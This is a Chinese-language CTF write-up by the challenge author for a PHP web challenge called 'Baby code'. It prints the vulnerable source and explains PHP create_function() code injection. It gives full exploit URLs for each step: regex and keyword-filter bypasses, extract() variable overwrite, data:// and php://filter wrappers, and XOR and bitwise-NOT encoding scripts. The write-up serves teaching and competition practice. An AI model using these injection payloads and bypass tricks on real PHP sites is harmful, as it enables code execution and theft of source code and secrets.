Author: 颖奇L’Amore

出题人: 颖奇L’Amore (平台id:Y1ng)

Blog: www.gem-love.com

源码:https://github.com/y1nglamore/Y1ngCTF/

本文图片全部采用OSS来提速


前言

这个题目其实是我改编自2019年北邮的一道题目,当时也去参加了那个比赛,姿势也不是第一次出现,但是还是相对比较新颖的。今天一个偶然的机会又翻出了当年的截图,就参考着呢个代码,改出了我这个题。主要考点还是没有变——PHP的create_function()代码注入。

不过这个题由于正则匹配不全,导致可以进行异或和取反运算,被Shana师傅和piCEBDC7师傅给非预期了。有新的非预期也欢迎私信联系我。

 

这个题被Shana师傅改了改放到了BJDCTF上了,经过BJDCTF比赛,又发现了2个非预期。后面一并介绍


create_function()代码注入介绍

create_function()函数有两个参数$args$code,用于创建一个lambda样式的函数

可以看一个小例子,利用create_function()创建一个myFunc()函数,用于计算两个变量之和

实际上myFunc() 就相当于:

function myFunc($a, $b){
	return $a+$b;
}

这看似正常,实则充满危险。由于$code可控,底层又没有响应的保护参数,就导致出现了代码注入。见如下例子:

<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['Y1ng']);\\');

执行时的myFunc()为:

function myFunc($a, $b){
	return $a+$b;
}
eval($_POST['Y1ng']);//}

通过手工闭合}使后面的代码eval()逃逸出了myFunc()得以执行,然后利用注释符//注释掉}保证了语法正确。

代码注入getshell演示:


解题

打开题目主页,没有发现有用信息,题目告知flag不在这里

查看网站源代码,发现一个注释

<!-- 316E4433782E706870 -->

HEX Decode后得到1nD3x.php

访问后得到源代码

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<font color=red><B>Notice1: If you get my flag, you will get a BIG GIFT!</B><br></font>";
echo "<font color=red><B>Notice2: Dangerous functions, such as shell_exec() system() and so on, are disabled in php.ini. Chopper&AntSword are also useless!</B><br></font>";
echo "<font color=red><B>Notice3: flag is Y1ng{xxxxxxxx}!</B><br><br></font>";

if($_SERVER) { 
    if (
    	preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
    	)  
        die('fxck your key words!'); 
}

if (!preg_match('/http/i', $_GET['file'])) {
    if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { 
        $file = $_GET["file"]; 
        echo "Yes! You know that I zuishuai!<br>";
    } 
} else die('fxck you! no RFI!!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck your English letters'); 
    } 
} 

if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')
    die(' Am not I universe wudi zuishuai?<br>');


if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die('fxck you! you dont know password! you dont know sha1! why you come here!');
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  ) { 
    die('fxck you! Read my Regular Express1on!'); 
} else { 
	include "flag.php";
    $code('', $arg); 
} ?>

题目叫Baby code,很明显的代码审计题。就从上往下看吧!


考点1:绕过QUERY_STRING的正则匹配
if($_SERVER) { 
    if (
        preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('fxck your key words!'); 
}

这个正则匹配了许多关键字,比如y1ng zuishuai flag passwd这些都是必须要用的,所以需要bypass。

首先了解一下QUERY_STRING:

原文链接 http://blog.sina.com.cn/s/blog_686999de0100jgda.html

1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

由于$_SERVER['QUERY_STRING']不会进行URLDecode,而$_GET[]会,所以只要进行url编码即可绕过:


考点2:绕过y1ngzuishuai的正则匹配
if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { 
        $file = $_GET["file"]; 
        echo "Yes! You know that I zuishuai!<br>";
} 

看这段代码(先不管他外面那个禁止RFI的if条件),/^y1ngzuishuai$/^匹配起始、$匹配结束,但又不能是y1ngzuishuai。

对于这种正则匹配,可以使用%0a换行污染绕过,payload:

?zuishuai=y1ngzuishuai%0a


考点3:绕过$_REQUEST的字母匹配
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck your English letters'); 
    } 
}

foreach循环遍历$_REQUEST数组,将键值赋给$value,然后检测$value是否包含字母,若是 则die()

根据题目可知,我们必须要$_GET[]一些东西,比如考点2中的y1ngzuishuai%0a。我们知道$_REQUEST同时接受GET和POST的数据,并且POST具有更高的优先值,这个点在GXY_CTF中的”Do you know Robots”出现过,参考:

简析GXY_CTF “Do you know Robots?”PHP反序列化

其实这个优先级是由php的配置文件决定的,在php.ini中(我的是598-609行):

; This directive determines which super global arrays are registered when PHP
; starts up. G,P,C,E & S are abbreviations for the following respective super
; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty
; paid for the registration of these arrays and because ENV is not as commonly
; used as the others, ENV is not recommended on productions servers. You
; can still get access to the environment variables through getenv() should you
; need to.
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS";
; http://php.net/variables-order
variables_order = "GPCS"

; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"

翻译一下:

这个指令决定了当PHP启动时注册哪些超全局数组。G,P,C,E,S分别是以下超全局数组的缩写:GET, POST, COOKIE, ENV, SERVER. 注册这些数组需要在性能上付出代价,而且因为ENV不像其他的那样通用,不推荐将ENV用在生产服务器上。如果需要的话,你仍然可以通过getenv()来访问这些环境变量。
默认的优先级ENV<GET<POST<COOKIE<SERVER

variables_order = “GPCS”

 

此指令确定哪些超级全局数据(G P C)应注册到超级全局数组REQUEST中。如果是这样,它还决定了数据注册的顺序。此指令的值以与variables_order指令相同的方式指定,只有一个除外。将此值保留为空将导致PHP使用variables order指令中设置的值。这并不意味着它会让super globals数组请求为空。

request的顺序:GET<POST

request_order = “GP”

因此对于需要GET的一些参数,比如zuishuai,只需要同时POST一个数字即可绕过:


考点4:绕过文件内容读取的比较
$file = "1nD3x.php";
if (!preg_match('/http/i', $_GET['file'])) {
        if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { 
                $file = $_GET["file"]; 
        echo "Yes! You know that I zuishuai!<br>";
    } 
} else 
        die('fxck you! no RFI!!');

if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')
        die(' Am not I universe wudi zuishuai?<br>');

只要绕过y1ngzuishuai后,$file变量就可控了,但是没有任何一个本地文件的内容是y1ng_YuZhou….,正则匹配了http又无法远程文件包含。所以需要构造出一个$file,使file_get_contents()返回题目要的字符串。

data://伪协议使用方法如下:

data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

该伪协议可以得到一串文本,示例中的文本就是<?php phpinfo()?>,如果在LFI中使用该伪协议可以导致代码执行,像这样:

但是本题目只file_get_contents()来做比较判断并不包含,因此无法通过data://进行RCE,却可以用来绕过比较。payload:

file=data:text/plain,y1ng_YuZhou_Wudi_zuishuai

结合其他代码

  1. post提交file=1绕过$_REQUEST
  2. y1ng是被ban掉的关键字,因此可以将y1ng_YuZhou_Wudi_zuishuai进行url编码后,都可以绕过。

所以最终payload为:

file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69

或者如果加上base64的话,因为y1ng_YuZhou_Wudi_zuishuai这个字符串进行base64编码后包含ob,而ob被正则给ban了,因此用base64也要url编码,payload:

file=data://text/plain;base64,%65%54%46%75%5a%31%39%5a%64%56%70%6f%62%33%56%66%56%33%56%6b%61%56%39%36%64%57%6c%7a%61%48%56%68%61%51==

考点5,绕过sha1比较
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die('fxck you! you dont know password! you dont know sha1! why you come here!');
}

题目要求$y1ng$passwd不相等,但是他们的sha1要相等,如何绕过?

sha1()函数是无法处理数组的,如果sha1()的参数为一个数组会报Warning并返回False,演示:

所以只要$y1ng$password都是数组,那么就会双双返回false,相等。


总结一下上面5个小考点的payload

?zuishuai=y1ngzuishuai%0a&y1ng[]=1&passwd[]=2&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai

编码后为

?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%25%30%61&%79%31%6e%67%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%69%6c%65=%64%61%74%61://%74%65%78%74/%70%6c%61%69%6e%2c%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69

别忘了Post:

zuishuai=1&file=1

考点6,create_function()代码注入

这个原理在文章开头就介绍了,前面的几个考点只不过是挖的小坑,这才是题目核心的地方。

$arg = '';
$code = '';
if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
}
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  ) { 
    die('fxck you! Read my Regular Express1on!'); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

这里好多正则匹配的关键字,我的出题初衷就是:

  • 不执行系统命令
  • 不读源码(虽然还是被非预期读源码了

关于读源码,可参考:

简析GXY_CTF “禁止套娃”无参数RCE

这里其实ban了的关键字大多数都是根据无参数RCE能用到的函数来ban的。

$arg$code变量都是可控的,因为extract()函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量。因此只要extract()内的数组键名为argcode,键值为我们构造的用来注入的代码,即可实现$arg$code的变量覆盖,导致代码注入。payload:

&flag[arg]=}a();//&flag[code]=create_function

这样就会执行a(); ,这个a()只是个暂时性演示,接下来再考虑到底执行什么php命令来得到flag


考点7,获得flag

接下来的考(keng)点完全是我为了搞心态才想出来的,结果被非预期了。

现在的困难:

  • 不能通过system()等函数执行系统命令,就无法cat flag.php
  • 过滤了flag等关键字,不能操作$flag变量
  • 过滤了print等关键字,不能直接读取或类似无参数RCE的方法flag.php源代码

但是代码明确写了包含flag.php

else { 
    include "flag.php";
    $code('', $arg); 
}

如果我想让选手们cat flag.php就不会故意去包含他了。包含了这个文件,代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值,可以想到:是否存在一个函数,能输出所有变量的值?

有的!get_defined_vars()用来输出所有变量和值!Payload:

1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
POST: zuishuai=1&file=1

解码后:1nD3x.php?zuishuai=y1ngzuishuai
&y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai

可是明明执行了var_dump(get_defined_vars());却没有任何回显 why?

这里挖了弱智小坑

include "flag.php"

包含flag.php 就会显示flag.php内的html。flag.php打开是白屏,表面上什么都没有,实际上却有一个html的注释符,包含他的那时起,这个<!--就被嵌入到了网页中,导致后面的内容都被注释了

不过如果一位选手能够一路过关斩将成功执行了php函数,这种弱智坑当然是不在话下了,查看源代码即可

或者用burp的话,更直观,这都起不到干扰作用

在最后看到$flag的值,得到的却是假flag!心态爆炸了吧!

不过至少他告诉了真的flag在1flag.php里面。


考点8,得到真正的flag (不适用于BJDCTF)

这里被非预期了。

我的预期解法

我们可以继续通过刚刚的方法,就是get_defined_vars(),得到1flag.php的变量的值,但是前提是需要包含1flag.php

现在的困难:

  • 过滤了include关键字
  • 过滤了单引号双引号
  • 过滤了flag关键字和类似无参数RCE题目中能够得到1flag.php字符串的各种函数的关键字,比如无法scandir()

应对的策略:

  • 过滤了include 还能用require
  • 过滤了引号,可以使用那些参数可以不加引号的函数,require()代替require " "
  • 过滤了flag,可以base64编码。其他过滤的不用便是

Payload:

/1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
POST: zuishuai=1&file=1

解码后:/1nD3x.php?zuishuai=y1ngzuishuai
&y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai
核心部分:require(base64_decode(MWZsYWcucGhw));

MWZsYWcucGhw解码后为1flag.php。另外base64_decode("MWZsYWcucGhw")把引号去掉也是可以的,所以能够bypass引号过滤。

得到flag。

非预期1 | 异或绕过 | By piCEBDC7 (不适用于BJDCTF)

正则匹配了&|导致无法与运算和或运算,但是可以^异或和~按位取反。

Payload:

&%66%6c%61%67[arg]=}require(%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff);var_dump(get_defined_vars());//

其中,%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff 这个异或运算的结果就是1flag.php,所以大体思路还是一样的,只是构造1flag.php的方法有所不同。

至于这个异或表达式如何生成的,我写了个php的脚本:

<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$flag = "1 f l a g . p h p";
$arr = explode(' ', $flag);

foreach ($arr as $key => $value) {
	echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
	echo "%ff";
}

piCEBDC7师傅自己写的py脚本:

#Author: piCEBDC7
str_= '1flag.php'
str_=list(str_)
final=''
for x in str_:
    print(hex(~ord(x)&0xff))
    final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):
    final+=r'%ff'
print(final)
非预期2 | 取反绕过+伪协议读源码 | By Nepnep.Shana (BJDCTF预期解)

这个非预期是真的我没想到,但是也不感到奇怪,毕竟Shana师傅的姿势奇高无比!我太菜了

Payload:

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%CE%99%93%9E%98%D1%8F%97%8F));//

中间的取反结果为:

php://filter/read=convert.base64-encode/resource=1flag.php

相当于是利用require()本地文件包含+用伪协议读源码!(出题各种ban关键字就是不想被直接读源码,结果还是防不胜防啊)

顺便一提,其实~后面也可以不加括号,~%8F%97%8F%C5%D0这样就是对~后面所有字符都做取反了,无所谓啦。

生成该取反Payload可以使用如下脚本:

<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
	echo "%".bin2hex(~$value);
}
echo ")<br>";

当然也可以异或+伪协议,Payload:

require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);//

将得到的base64解密后即可得到flag

非预期3 | define+fopen()+fgets() | By 我+imagin+Nepnep.Shana (BJDCTF非预期)

没ban掉fopen(),可以fgets()读取文件,但是这个文件指针需要移动就不能读取完整文件,$被禁无法定义变量,最后测试无果后交给shana师傅,被shana师傅整出来了(ttttql),用常量,Payload:

define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);

(这个非预期是BJDCTF发现的,BJD的题目的文件名和变量名和本题目略有差别,这里直接用BJD版payload,懒得改了)

非预期4 | 数组操作 | By rdd+P3rh4ps (BJDCTF非预期)

这个非预期4是BJDCTF发现的。rdd师傅和P3师傅的两个解法payload略有差别,但是原理相同。

rdd:

如果在url后面加上rdd=php://filter/convert.base64-encode/resource=1flag.php,之后get_defined_vars()得到多维数组,pos()取内部指针指向的首个元素后得到一个数组,在end()取最后一个元素就得到了刚刚url后面加上的php://filter

得到了这个伪协议然后再require()即可得到源代码,Payload:

1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&rdd=%70%68%70://%66%69%6c%74%65%72/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/%72%65%73%6f%75%72%63%65=%31%66%6c%61%67%2e%70%68%70
POST: file=1&zuishuai=1&rdd=1
解码后:1nD3x.php?zuishuai=y1ngzuishuai
&y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&rdd=php://filter/convert.base64-encode/resource=1flag.php

P3rh4ps:

(这里直接用BJD版payload,懒得改了)

也是加了个参数,传上去伪协议,然后get_defined_vars()数组获取到这个伪协议放到require()里包含,payload:

?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//
解码后:?debu=aqua_is_cute
&file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]);
//

关于$_REQUEST的一点补充

我们先看下得到flag的最终Payload:

/1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69

POST: zuishuai=1&file=1

为了绕过$_REQUEST对英文字母的匹配,特意post了zuishuai和file参数。但是Payload中明确还有:

y1ng[]=&passwd[]=&flag[arg]=&flag[code]=

这些参数却不用post。对此我写了个代码来研究这个问题:

<?php
highlight_file(__FILE__);
error_reporting(0);

echo $_SERVER['QUERY_STRING'] . "<br><br>";

if($_REQUEST) { 
    foreach($_REQUEST as $key=>$value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            print("***". $key.'  '.$value. "***<br>"); 
        else 
        	echo $key.'   '.$value."<br>";
    } 
}

这个代码输出$_SERVER['QUERY_STRING']$_REQUEST数组中所有的键和值,如果某个键值被这个字母正则给匹配了,就给它加上几个乘号。

可见,只有zuishuai和file的值被匹配了,因此payload只需要post zuishuai和file就可以了。

而对于y1ng passwd flag,输出的$value为Array,并没有被正则表达式匹配。这是因为preg_match()只能匹配字符串,数组得以绕过。


虽然是改出来的题,但还是学到了很多东西!

最后,别忘了去领取精心准备的$Your_Gift哦!

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/770.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image